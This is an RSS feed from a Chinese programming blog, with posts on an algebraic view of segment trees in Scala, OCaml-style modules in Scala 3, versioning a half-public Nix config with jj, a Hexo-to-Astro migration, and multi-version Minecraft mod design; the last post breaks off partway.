<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/rss/rss-style.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>idkana&apos;s Blog</title><description>坚持思考的日常</description><link>https://idkidknow.com/</link><copyright>Copyright © 2026 idkana</copyright><language>zh</language><lastBuildDate>Thu, 29 Jan 2026 20:30:02 GMT</lastBuildDate><item><title>线段树，但是抽象</title><link>https://idkidknow.com/posts/%E7%BA%BF%E6%AE%B5%E6%A0%91%E4%BD%86%E6%98%AF%E6%8A%BD%E8%B1%A1/</link><guid isPermaLink="true">https://idkidknow.com/posts/%E7%BA%BF%E6%AE%B5%E6%A0%91%E4%BD%86%E6%98%AF%E6%8A%BD%E8%B1%A1/</guid><description>构建和查询 线段树，按字面要有线段（区间），也就是 $$ S_{[0, n-1]}=\left{[l,r]\cap\mathbb Z: l,...</description><pubDate>Fri, 30 Jan 2026 04:13:08 GMT</pubDate><content:encoded>&lt;h2&gt;构建和查询&lt;/h2&gt;
&lt;p&gt;线段树，按字面要有线段（区间），也就是&lt;/p&gt;
&lt;p&gt;$$ S_{[0, n-1]}=\left{[l,r]\cap\mathbb Z: l,r\in\mathbb Z, 0\le l\le r\le n-1\right} $$&lt;/p&gt;
&lt;p&gt;下面简记$S_{[0, n-1]}$为$S$，$[l,r]\cap\mathbb Z$为$[l,r]$。&lt;/p&gt;
&lt;p&gt;关注$S$上的合并操作，是一个偏函数：&lt;/p&gt;
&lt;p&gt;$$ \circ: S\times S\rightharpoonup S, [a, b]\circ[b+1, c] = [a, c] $$&lt;/p&gt;
&lt;p&gt;每个线段上附加了$A$信息，也就是&lt;/p&gt;
&lt;p&gt;$$ f: S \to A $$&lt;/p&gt;
&lt;p&gt;平凡的函数和平凡的信息没什么意思，所以来附加一点结构吧。&lt;/p&gt;
&lt;p&gt;我们希望$A$可以组合，这样区间的信息能够从子区间的信息合并出来。也就是$A$最好是一个半群。&lt;/p&gt;
&lt;p&gt;但实现上只需要相邻区间的合并，所以只需要给$A$一个更弱的结构，暂且称之为偏半群，
即要求一个满足结合律但不必为全函数的乘法。注意$(S, \circ)$也是一个偏半群。&lt;/p&gt;
&lt;p&gt;要使查询$[l,r]$可以分解为查询$[l,m]$和$[m+1,r]$再合并，也就是要$f([l, m])f([m+1, r]) = f([l, r]) = f([l, m]\circ[m+1, r])$。
简而言之，$f$是一个同态。&lt;/p&gt;
&lt;p&gt;暂时不考虑修改，线段树&lt;strong&gt;是&lt;/strong&gt;一个偏半群同态$f: S_n \to A$的计算程序。&lt;/p&gt;
&lt;p&gt;这一性质使能线段树的对数时间复杂度查询（通过二分+合并，只要乘法是O(1)）。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;当然你可以给任意偏半群$A$添加一个元素$0\notin A$使原来未定义乘法的$ab=0\ (a,b\in A)$，使$0a=0$，那么$A\cup{0}$
就是个半群(相当于套个&lt;code&gt;Option&lt;/code&gt;或者说加个&lt;code&gt;null&lt;/code&gt;)。虽然更熟悉，但totality性质用不上，还和$S$的结构不同了，反而加大了思维难度。
线段树是个同态这个表述真是干净又清爽，轻轻松松reason代码正确性（&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;实现&lt;/h3&gt;
&lt;p&gt;要存储这样一个$f$，一方面必须存储所有的$f([i, i])\ (1 \le i \le n)$，因为$[i,i]$没法拆成真子区间的合并了。
另一方面，$f([l, r])=\sum_{i=l}^r f([i, i])$，所以存储$f([i, i])$是充分的。&lt;/p&gt;
&lt;p&gt;而线段树就是在这些必要信息之外存储一些冗余的部分合并了的信息，来换取更好的复杂度。&lt;/p&gt;
&lt;p&gt;于是建树需要提供信息：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;所有的$f([i, i])\ (0 \le i \le n-1)$&lt;/li&gt;
&lt;li&gt;乘法$\cdot: A\times A\rightharpoonup A$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;目前的接口和实现：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import scala.reflect.ClassTag

trait SegmentTree[A] {
  def query(l: Int, r: Int): A
}

object SegmentTree {
  def apply[A: ClassTag](n: Int, init: Int =&amp;gt; A, mul: (A, A) =&amp;gt; A): SegmentTree[A] = {
    val tree = Array.ofDim[A](4 * n)
    def build(l: Int, r: Int, idx: Int): Unit = if (l == r) {
      tree(idx) = init(l)
    } else {
      val m = l + (r - l) / 2
      build(l, m, idx * 2)
      build(m + 1, r, idx * 2 + 1)
      tree(idx) = mul(tree(idx * 2), tree(idx * 2 + 1))
    }
    build(0, n - 1, 1)

    new SegmentTree[A] {
      override def query(l: Int, r: Int): A = {
        def loop(l0: Int, r0: Int, idx: Int): A = if (l &amp;lt;= l0 &amp;amp;&amp;amp; r0 &amp;lt;= r) {
          tree(idx)
        } else {
          val m0 = l0 + (r0 - l0) / 2
          val left = if (l &amp;lt;= m0) Some(loop(l0, m0, idx * 2)) else None
          val right = if (m0 &amp;lt; r) Some(loop(m0 + 1, r0, idx * 2 + 1)) else None
          List(left, right).flatten.reduce(mul)
        }
        loop(0, n - 1, 1)
      }
    }
  }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;简单的用例（半群）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;val a = Array(1, 1, 4, 5, 1, 4, 1, 9, 1, 9, 8, 1, 0)
val n = a.length
val tSum = SegmentTree(n, a, _ + _)
val theAnswer = tSum.query(2, 10) // 42
val tMax = SegmentTree(n, a, _ max _)
val nine = tMax.query(2, 10) // 9
val tConcat = SegmentTree(n, a.map(_.toString), _ + _)
val koishi = tConcat.query(3, 5) // &quot;514&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;复杂一点的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;val s = &quot;aaaabbbbbccdeeefgghhhhhh&quot;
val t = SegmentTree(
  s.length,
  s.map(ch =&amp;gt; (1, ch, 1, ch, 1, true)),
  { case ((len1, lch1, llen1, rch1, rlen1, mono1), (len2, lch2, llen2, rch2, rlen2, mono2)) =&amp;gt;
    // 最长的连续相同字符的子串的长度, 区间最左边字符, 区间最左边连续相同字符个数, 区间最右边字符, 区间最右边连续相同字符个数, 区间是否是连续相同字符
    if (rch1 == lch2) {
      val len = len1 max len2 max (rlen1 + llen2)
      val llen = if (mono1) llen1 + llen2 else llen1
      val rlen = if (mono2) rlen2 + rlen1 else rlen2
      (len, lch1, llen, rch2, rlen, mono1 &amp;amp;&amp;amp; mono2)
    } else (len1 max len2, lch1, llen1, rch2, rlen2, false)
  },
)
// 最长的连续相同字符的子串的长度
t.query(10, 19)._1 // 3
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;更新（修改）&lt;/h2&gt;
&lt;p&gt;一个更新是一个自同态$u:A\rightharpoonup A$。如果更新整个$[0,n-1]$，那么线段树就从$f$变成了$u\circ f$。&lt;/p&gt;
&lt;p&gt;线段树支持在一个子区间上部分应用这个更新。具体来讲，比如在$[l,r]$上应用，那么生成元$f([0, 0]),f([1, 1]),\dots,f([n-1, n-1])$变成了$f([0, 0]),\dots,f([l-1,l-1]),u\circ f([l, l]),\dots,u\circ f([r,r]),f([r+1,r+1])\dots,f([n-1, n-1])$。&lt;/p&gt;
&lt;p&gt;支持所有的$A\rightharpoonup A$更新是不可能的，故只考虑$\mathrm{Hom}(A, A)$的某个子集，用索引$I$记为$U={u_i:i\in I}$。
代码中用$I$来表示和存储一个修改操作，放在lazy标记里。&lt;/p&gt;
&lt;p&gt;$U$须是$\mathrm{Hom}(A, A)$的子幺半群，这是lazy propagation的实现所需：
两个修改需要能合并成一个，而且lazy标记要能表示是否已修改（无修改是$\mathrm{id}:A\to A$，即幺元）。少一点性质都做不到lazy。&lt;/p&gt;
&lt;p&gt;实际进行计算的是$I$，可选取$I$是幺半群，$u_{\bullet}:I\to U$为幺半群同构。&lt;/p&gt;
&lt;h3&gt;实现&lt;/h3&gt;
&lt;p&gt;要拥有修改操作，需要以下额外信息：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$I$的幺半群实例&lt;/li&gt;
&lt;li&gt;$u_{\bullet}: I\to U$，或者说一个嵌入$I\to \mathrm{Hom}(A,A)$，或者说$I\times A\rightharpoonup A$&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;import scala.reflect.ClassTag

trait SegmentTree[A, I] {
  def query(l: Int, r: Int): A
  def update(l: Int, r: Int, i: I): Unit
}

object SegmentTree {
  def apply[A: ClassTag, I: ClassTag](
      n: Int,
      init: Int =&amp;gt; A,
      mul: (A, A) =&amp;gt; A,
      iOne: I,
      iMul: (I, I) =&amp;gt; I,
      update: (I, A) =&amp;gt; A,
  ): SegmentTree[A, I] = {
    val tree = Array.ofDim[A](4 * n)
    val lazi = Array.fill(4 * n)(iOne)
    def build(l: Int, r: Int, idx: Int): Unit = if (l == r) {
      tree(idx) = init(l)
    } else {
      val m = l + (r - l) / 2
      build(l, m, idx * 2)
      build(m + 1, r, idx * 2 + 1)
      tree(idx) = mul(tree(idx * 2), tree(idx * 2 + 1))
    }
    build(0, n - 1, 1)

    def pushDown(l0: Int, r0: Int, idx: Int): Unit = {
      val m = l0 + (r0 - l0) / 2
      val lIdx = idx * 2
      val rIdx = lIdx + 1
      tree(lIdx) = update(lazi(idx), tree(lIdx))
      tree(rIdx) = update(lazi(idx), tree(rIdx))
      lazi(lIdx) = iMul(lazi(lIdx), lazi(idx))
      lazi(rIdx) = iMul(lazi(rIdx), lazi(idx))
      lazi(idx) = iOne
    }

    val updateWith = update

    new SegmentTree[A, I] {
      override def query(l: Int, r: Int): A = {
        def loop(l0: Int, r0: Int, idx: Int): A = if (l &amp;lt;= l0 &amp;amp;&amp;amp; r0 &amp;lt;= r) {
          tree(idx)
        } else {
          if (lazi(idx) != iOne) {
            pushDown(l0, r0, idx)
          }
          val m0 = l0 + (r0 - l0) / 2
          val left = if (l &amp;lt;= m0) Some(loop(l0, m0, idx * 2)) else None
          val right = if (m0 &amp;lt; r) Some(loop(m0 + 1, r0, idx * 2 + 1)) else None
          List(left, right).flatten.reduce(mul)
        }
        loop(0, n - 1, 1)
      }
      override def update(l: Int, r: Int, i: I): Unit = {
        def loop(l0: Int, r0: Int, idx: Int): Unit = if (l &amp;lt;= l0 &amp;amp;&amp;amp; r0 &amp;lt;= r) {
          tree(idx) = updateWith(i, tree(idx))
          lazi(idx) = iMul(lazi(idx), i)
        } else {
          val m = l0 + (r0 - l0) / 2
          if (lazi(idx) != iOne &amp;amp;&amp;amp; l0 != r0) {
            pushDown(l0, r0, idx)
          }
          if (l &amp;lt;= m) loop(l0, m, idx * 2)
          if (m &amp;lt; r) loop(m + 1, r0, idx * 2 + 1)
          tree(idx) = mul(tree(idx * 2), tree(idx * 2 + 1))
        }
        loop(0, n - 1, 1)
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用例（查询区间和，逐点更新加某一数）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;val t = SegmentTree(
  10,
  Array(1, 1, 4, 5, 1, 4, 1, 9, 1, 9).map(a =&amp;gt; (a, 1)),
  { case ((s1, len1), (s2, len2)) =&amp;gt; (s1 + s2, len1 + len2) },
  0,
  _ + _,
  { case (delta, (s, len)) =&amp;gt; (s + delta * len, len) },
)
println(t.query(0, 3)._1) // 11
t.update(2, 5, 10)
println(t.query(0, 3)._1) // 31
println(t.query(5, 8)._1) // 25
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用例（扫描线）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;val t = SegmentTree(
  6,
  Array(1, 1, 4, 5, 1, 4).map(len =&amp;gt; (len, 0, len)),
  { case ((len1, minThickness1, minThicknessLen1), (len2, minThickness2, minThicknessLen2)) =&amp;gt;
    if (minThickness1 &amp;lt; minThickness2) {
      (len1 + len2, minThickness1, minThicknessLen1)
    } else if (minThickness1 &amp;gt; minThickness2) {
      (len1 + len2, minThickness2, minThicknessLen2)
    } else {
      (len1 + len2, minThickness1, minThicknessLen1 + minThicknessLen2)
    }
  },
  0,
  _ + _,
  { case (delta, (len, minThickness, minThicknessLen)) =&amp;gt;
    (len, minThickness + delta, minThicknessLen)
  },
)
def queryCoverage(): Int = {
  val (len, minThickness, minThicknessLen) = t.query(0, 5)
  if (minThickness &amp;gt; 0) len else len - minThicknessLen
}
println(queryCoverage()) // 0
t.update(0, 2, 1) // add (0, 6)
println(queryCoverage()) // 6
t.update(2, 3, 1) // add (2, 11)
println(queryCoverage()) // 11
t.update(0, 2, -1) // remove (0, 6)
println(queryCoverage()) // 9
t.update(2, 3, -1) // remove (2, 11)
println(queryCoverage()) // 0
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;优化&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;幺元建树：如果$A$是幺半群，且初始化全部为幺元，直接用幺元填充&lt;code&gt;tree&lt;/code&gt;即可。&lt;/li&gt;
&lt;li&gt;冗余的区间端点信息：更新过程中是知道每个被更新的区间的左右端点的，可传给&lt;code&gt;update: (I, A) =&amp;gt; A&lt;/code&gt;（改成&lt;code&gt;update: (Int, Int, I, A) =&amp;gt; A&lt;/code&gt;），
从而使$A$中不再需要左右端点或者区间长度之类的字段。&lt;/li&gt;
&lt;li&gt;AoS to SoA：特化然后改写。&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>OCaml modules, but in Scala</title><link>https://idkidknow.com/posts/ocaml-modules-but-in-scala/</link><guid isPermaLink="true">https://idkidknow.com/posts/ocaml-modules-but-in-scala/</guid><description>Scala 3 是好文明👍 签名 /** Not quite natural numbers :) */ trait Nat { type...</description><pubDate>Tue, 11 Nov 2025 01:23:35 GMT</pubDate><content:encoded>&lt;p&gt;Scala 3 是好文明👍&lt;/p&gt;
&lt;h2&gt;签名&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;/** Not quite natural numbers :) */
trait Nat {
  type A
  def zero: A
  def succ(a: A): A
  def display(a: A): String
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;module type Nat = sig
  type t
  val zero: t
  val succ: t -&amp;gt; t
  val display: t -&amp;gt; string
end
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;模块&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;object IntNat extends Nat {
  opaque type A = Int
  def zero: Int = 0
  def succ(a: Int): Int = a + 1
  def display(a: Int): String = s&quot;($a : Int)&quot;
}

object TerminalNat extends Nat {
  opaque type A = Unit
  def zero: Unit = ()
  def succ(a: Unit): Unit = ()
  def display(a: Unit): String = &quot;()&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;module IntNat: Nat = struct
  type t = int
  let zero = 0
  let succ n = n + 1
  let display n = &quot;(&quot; ^ (Int.to_string n) ^ &quot; : int)&quot;
end

module TerminalNat: Nat = struct
  type t = unit
  let zero = ()
  let succ _ = ()
  let display _ = &quot;()&quot;
end
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;用一用&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;@main def main(): Unit = {
  import IntNat.*
  println(display(succ(succ(zero)))) // (2 : Int)
  println(display(succ(zero))) // (1 : Int)
  println(display(zero)) // (0 : Int)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;First-class Modules!&lt;/h2&gt;
&lt;p&gt;我们的 Module 本来就是用 object 实现的，这很 Trivial&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import scala.util.chaining.*

@main def main(): Unit = {
  def five(n: Nat): n.A = {
    import n.*;
    succ(succ(succ(succ(succ(zero)))))
  }

  def print_five(n: Nat): Unit = {
    import n.*;
    five(n) pipe display pipe println
  }

  print_five(IntNat) // (5 : Int)
  print_five(TerminalNat) // ()
  print_five(new Nat {
    type A = Boolean
    def zero: A = false
    def succ(a: A): A = !a
    def display(a: A): String = a.toString
  }) // true
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;First-class Modules，但我不想装箱&lt;/h3&gt;
&lt;p&gt;等 Scala 3 有个好的单态化/特化方案吧。届时直接改写成&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def five[N &amp;lt;: Nat](n: N): n.A
def print_five[N &amp;lt;: Nat](n: N): Unit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后单态化应该就没问题&lt;/p&gt;
&lt;h2&gt;Functor&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;final case class NatDisplayPrefixed(prefix: String)(val n: Nat) extends Nat {
  type A = n.A
  def zero: A = n.zero
  def succ(a: A): A = n.succ(a)
  def display(a: A): String = prefix + n.display(a)
}

@main def main(): Unit = {
  // ...
  print_five(NatDisplayPrefixed(&quot;value = &quot;)(IntNat)) // value = (5 : Int)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dotty 嘛，能耍的花活太多了，这个东西平平无奇&lt;/p&gt;
</content:encoded></item><item><title>半公开Nix配置的版本控制</title><link>https://idkidknow.com/posts/%E5%8D%8A%E5%85%AC%E5%BC%80nix%E9%85%8D%E7%BD%AE%E7%9A%84%E7%89%88%E6%9C%AC%E6%8E%A7%E5%88%B6/</link><guid isPermaLink="true">https://idkidknow.com/posts/%E5%8D%8A%E5%85%AC%E5%BC%80nix%E9%85%8D%E7%BD%AE%E7%9A%84%E7%89%88%E6%9C%AC%E6%8E%A7%E5%88%B6/</guid><description>闲话：NixOS 上 secret managing 是一个很有争议也很麻烦的事，因为/nix/store是 world readable...</description><pubDate>Mon, 14 Jul 2025 05:10:35 GMT</pubDate><content:encoded>&lt;p&gt;闲话：NixOS 上 secret managing 是一个很有争议也很麻烦的事，因为&lt;code&gt;/nix/store&lt;/code&gt;是 world readable 的，因而需要 sops-nix、agenix 等方案。&lt;/p&gt;
&lt;p&gt;不过今天不讲这件事，而是一个与此有所相关的问题：如何公开Nix配置的仓库，但使其中一些隐私信息保持隐藏？说有所相关是因为这两个问题常被同时提及，但实际上有相当大的不同：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不论仓库是否公开，secrets 都不应该进入&lt;code&gt;/nix/store&lt;/code&gt;，解决办法是让 secrets 的内容不在 eval 过程中出现。sops-nix 和 agenix 其实就是这样的，它们只是一堆系统激活时的脚本，利用系统 ssh 私钥或者某个硬编码路径上的 key 来解密出所有 secrets 并放到合适的地方，设置合适的权限。&lt;/li&gt;
&lt;li&gt;而在另一个问题上，要隐藏的东西完全可以是必须在 eval 过程中出现的，或者不在乎进入&lt;code&gt;/nix/store&lt;/code&gt;的，比如电子邮箱、源站IP，甚至可能想要隐藏主机名。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;对于今天的主题问题，最简单的解决方法是管理两个分支，一个 push 到 public repository 上，一个 push 到 private repository 上。看上去很简单，实际上就是超级简单。要是前一个问题也是这样简单就好了。&lt;/p&gt;
&lt;h2&gt;设置&lt;/h2&gt;
&lt;p&gt;我实际用的版本控制工具是 &lt;a href=&quot;https://github.com/jj-vcs/jj&quot;&gt;jj&lt;/a&gt;，心智负担很低。还能没有 dirty 状态，自动 rebase，对接下来的工作流很适合。当然用 Git 也毫无问题，但是得常常&lt;code&gt;git add&lt;/code&gt;和&lt;code&gt;git commit --amend&lt;/code&gt;，不然 dirty 状态很麻烦。&lt;/p&gt;
&lt;p&gt;首先把非 secrets 的隐藏信息都写到同一个文件或文件夹中，比如&lt;code&gt;priv.nix&lt;/code&gt;，然后在引用处用任何一种喜欢的方式引用这里的内容。把&lt;code&gt;priv.nix&lt;/code&gt;的内容替换为无意义内容，这样自然得到两个分支&lt;code&gt;pub&lt;/code&gt;和&lt;code&gt;pri&lt;/code&gt;，使&lt;code&gt;pub:/priv.nix&lt;/code&gt;无意义而&lt;code&gt;pri:/priv.nix&lt;/code&gt;保存了隐藏信息，并且&lt;code&gt;pri&lt;/code&gt;领先&lt;code&gt;pub&lt;/code&gt;一个 commit，diff 内容就是干净的一个&lt;code&gt;priv.nix&lt;/code&gt;更改，这样 rebase 几乎总是成功。&lt;/p&gt;
&lt;p&gt;分别设置 remote，一个公开，一个私有（顺带可以跑 CI）。&lt;/p&gt;
&lt;p&gt;用 jj 的 workspace（对应 Git 的 worktree）给&lt;code&gt;pub&lt;/code&gt;、&lt;code&gt;pri&lt;/code&gt;各一个目录，在&lt;code&gt;pub&lt;/code&gt;编写，随手把&lt;code&gt;pri&lt;/code&gt; rebase 到&lt;code&gt;pub&lt;/code&gt;后在&lt;code&gt;pri&lt;/code&gt;调试。&lt;/p&gt;
&lt;p&gt;除了&lt;code&gt;pri&lt;/code&gt;以外可以自由分支自由发挥，本质上只是在&lt;code&gt;pri&lt;/code&gt;维护了一个&lt;code&gt;priv.nix&lt;/code&gt;的 diff，随手 rebase 就好了。&lt;/p&gt;
&lt;p&gt;日常修改：&lt;code&gt;jj new -A pub&lt;/code&gt;，然后开写，写完&lt;code&gt;jj&lt;/code&gt;一下&lt;code&gt;pri&lt;/code&gt;就自动 rebase 好了。&lt;/p&gt;
&lt;p&gt;到处开分支：&lt;code&gt;jj new pub&lt;/code&gt;，然后开写，写完&lt;code&gt;jj rebase -s pri -d @&lt;/code&gt;一下就好了。&lt;/p&gt;
</content:encoded></item><item><title>从Hexo到Astro</title><link>https://idkidknow.com/posts/%E4%BB%8Ehexo%E5%88%B0astro/</link><guid isPermaLink="true">https://idkidknow.com/posts/%E4%BB%8Ehexo%E5%88%B0astro/</guid><description>为什么 动机？ 直到前几天我的博客一直使用 Hexo，而且整个工具链还是很旧的版本，靠flake.lock和package-lock.jso...</description><pubDate>Sat, 12 Apr 2025 02:18:00 GMT</pubDate><content:encoded>&lt;h2&gt;为什么&lt;/h2&gt;
&lt;h3&gt;动机？&lt;/h3&gt;
&lt;p&gt;直到前几天我的博客一直使用 Hexo，而且整个工具链还是很旧的版本，靠&lt;code&gt;flake.lock&lt;/code&gt;和&lt;code&gt;package-lock.json&lt;/code&gt;苟命。作为博客，文字比这些门面重要，所以本来没有动机迁移。&lt;/p&gt;
&lt;p&gt;机缘巧合发现了&lt;a href=&quot;https://github.com/Moeyua/astro-theme-typography&quot;&gt;这个&lt;/a&gt;主题，朴素的风格和排版我很喜欢，不过动画和一些细节不尽人意，但很快在 Astro 的主题列表发现了&lt;a href=&quot;https://github.com/radishzzz/astro-theme-retypeset&quot;&gt;这个&lt;/a&gt;，是前者同风格的再创作，好看好用，那么我就有迁移的动机了（&lt;/p&gt;
&lt;h3&gt;好在哪&lt;/h3&gt;
&lt;p&gt;完全 TypeScript！还有现代前端工程的 Ergonomics. 静态类型，良好的模块化，使我真正有意愿去入门前端，再给主题做点自由的魔改了。&lt;/p&gt;
&lt;p&gt;我原来在 Hexo 上用的主题使用的是 ejs，是个 manipulating string 的模板引擎，满屏模板可谓可读性灾难，没有 Typed 寸步难行。&lt;/p&gt;
&lt;h2&gt;迁移&lt;/h2&gt;
&lt;p&gt;Astro 毕竟是通用 SSG，自己从头搓博客还是麻烦的，好在我的动机来源就是现成的 Astro 项目，Just &lt;code&gt;git clone&lt;/code&gt;, &lt;code&gt;pnpm install&lt;/code&gt; 然后 &lt;code&gt;pnpm dev&lt;/code&gt;，把原来的文章复制过来改一下 frontmatter，在配置文件里看着类型和文档改改，大体上就迁移好了。这个主题的可配置部分比较少，那么再做一些额外的工作和魔改：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;加友链页：把关于页相关的代码 copy 一下&lt;/li&gt;
&lt;li&gt;给关于页和友链页补上评论区：和普通文章对比一下源文件，把相差的&lt;code&gt;&amp;lt;Comments /&amp;gt;&lt;/code&gt;组件补上&lt;/li&gt;
&lt;li&gt;首页里文章的标题和摘要的字重和大小对比不太明显，给标题改重了点，摘要改小了点&lt;/li&gt;
&lt;li&gt;首页文章没有显示 tags, 加上&lt;/li&gt;
&lt;li&gt;加个全站统一的 CC License 吧&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;旧的文章链接呢？&lt;/h3&gt;
&lt;p&gt;原来的文章链接形如&lt;code&gt;/YYYY/MM/DD/slug/&lt;/code&gt;, 现在的链接是&lt;code&gt;/posts/slug/&lt;/code&gt;（两者的 slug generate 方式还有细微差异），为保留旧链接，让 Astro 生成两份页面就好了，先给旧文章的 frontmatter 里加一个自定义的&lt;code&gt;legacyPaths&lt;/code&gt;字段，然后修改&lt;a href=&quot;https://docs.astro.build/zh-cn/reference/routing-reference/#getstaticpaths&quot;&gt;&lt;code&gt;getStaticPaths()&lt;/code&gt;&lt;/a&gt;
多返回一份旧路径。由于评论区是按地址栏的路径区分的，所以给评论区组件加了一个可选属性用来覆盖路径设置，在旧链接页面里改用新链接对应的评论区。&lt;/p&gt;
&lt;h3&gt;整点新组件&lt;/h3&gt;
&lt;p&gt;链：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/%E4%BB%8EHexo%E5%88%B0Astro/1.png&quot; alt=&quot;links&quot; /&gt;&lt;/p&gt;
&lt;p&gt;License:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/%E4%BB%8EHexo%E5%88%B0Astro/2.png&quot; alt=&quot;license&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Minecraft多版本Mod开发踩坑</title><link>https://idkidknow.com/posts/minecraft%E5%A4%9A%E7%89%88%E6%9C%ACmod%E5%BC%80%E5%8F%91%E8%B8%A9%E5%9D%91/</link><guid isPermaLink="true">https://idkidknow.com/posts/minecraft%E5%A4%9A%E7%89%88%E6%9C%ACmod%E5%BC%80%E5%8F%91%E8%B8%A9%E5%9D%91/</guid><description>Java 矢山雕花尝试抽象，偶遇遍地大坑，拼劲全力战胜它</description><pubDate>Fri, 10 Jan 2025 12:26:37 GMT</pubDate><content:encoded>&lt;h2&gt;动机和目标&lt;/h2&gt;
&lt;p&gt;开发一个 Minecraft 的 Mod，并想要适配多个版本的 Minecraft，通常存在大量相同的代码逻辑。社区的惯用方法是对每个 Minecraft 版本做一个分支，用 git 管理，并随着版本更新停止维护旧Minecraft版本下的Mod，减轻维护负担。&lt;/p&gt;
&lt;p&gt;这种方法并不能解决我遇到的实际需求：全版本的群服互联（QQ群和 Minecraft 服务器消息同步）。鉴于 Minecraft Modding 社区历史之久，在1.7.10和1.12.2拥有大量「遗产」，群内所玩整合包自然也常会包含这两个版本。这也是为什么有现有轮子不用（旧版本下因为上述社区惯例没有在维护，buggy 且难以部署）。&lt;/p&gt;
&lt;p&gt;因此需要探索一种方法，在全版本复用相同的逻辑。具体来说，将核心逻辑提出单独做成一个模块，再在各个特定版本引用该模块。Minecraft 自己没有 Mod API，各个类随版本改变都可能变化或消失，因此核心模块不能直接引用 Minecraft 的类和修改 Minecraft(core modding，特别地，Mixin)，需要将自己所需的 Minecraft 类和 API 抽象为一个接口，由具体版本的代码实现接口。Core modding 是修改 Minecraft，与具体版本耦合，自然由实现侧完成。这样，在理论上，迁移版本只需要搭建对应版本的 Mod 开发环境、写胶水代码实现接口、调用核心模块。同时，这套方法与模组加载器无关，因为接口同样抽象了 Mod Loader 相关代码。&lt;/p&gt;
&lt;h2&gt;核心模块&lt;/h2&gt;
&lt;p&gt;核心模块不依赖具体的 Minecraft 和 Mod Loader 代码，因此就是一个普通的 JVM 项目。不过有所限制：为了能在较旧版本的 Minecraft 上运行，只能使用 JDK 8。&lt;/p&gt;
&lt;p&gt;对于接口的设计，先在某个具体版本实现一个原型，观察大致需要哪些类和方法即可。&lt;/p&gt;
&lt;h3&gt;实践历程&lt;/h3&gt;
&lt;p&gt;我的第一个原型在 1.21/NeoForge 上用 Java，用常规的 Mod 开发方式完成。因为使用了 Java 8 以后的特性，同时 Minecraft 新旧版本、NeoForge 和 Forge 和其他 Loader 的差异之大，向低版本移植困难。于是我使用了 Architectury 复用公共代码、抽象 Mod Loader，改用 Kotlin 以避免使用 Java 8 的痛苦。1.16.5+的 Minecraft 代码差异并不巨大，用 git branch 管理不同版本可以接受。但在向更低版本移植时可就完蛋了，1.13以前和1.16以后的 Minecraft 开发环境的差异巨大，这包括 Minecraft 本身的代码逻辑（1.13为界）、混淆映射表（MCP 和 Mojang Mappings）、Mod Loader（还是1.13）。于是我干脆直接抽象整个(Minecraft 版本, 模组加载器)二元组，从而有了现在这个方案。&lt;/p&gt;
&lt;p&gt;对 JVM 互操作性的需求降低了，同时出于个人喜好，我使用了 Scala 3 重新编写核心模块，Minecraft 接口参考之前的原型写出，大概如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;trait Minecraft {
  /** [[net.minecraft.network.chat.Component]] */
  type Component
  /** [[net.minecraft.locale.Language]] */
  type Language
  // ...
  def broadcastMessage(server: MinecraftServer, message: Component): Unit
  // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有类型成员（或者说，像 ML 的 module 一样）写起来非常轻松。如果用 Java 写可能就是一万个接口，并且实现接口在语义上很奇怪了（例如 SLF4J）。&lt;/p&gt;
&lt;h2&gt;实现侧&lt;/h2&gt;
&lt;p&gt;核心模块很干净地实现了主要逻辑，那么 Dirty work 就得实现侧来做了。主要任务有两个：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;实现前述接口&lt;/li&gt;
&lt;li&gt;确保核心模块能在 JVM 上跑，调用核心模块&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;第一个任务就是写胶水代码，并不难。而第二个任务没有看上去那么简单。下面记录一些小细节后着重阐释这一部分。&lt;/p&gt;
&lt;h3&gt;构建脚本&lt;/h3&gt;
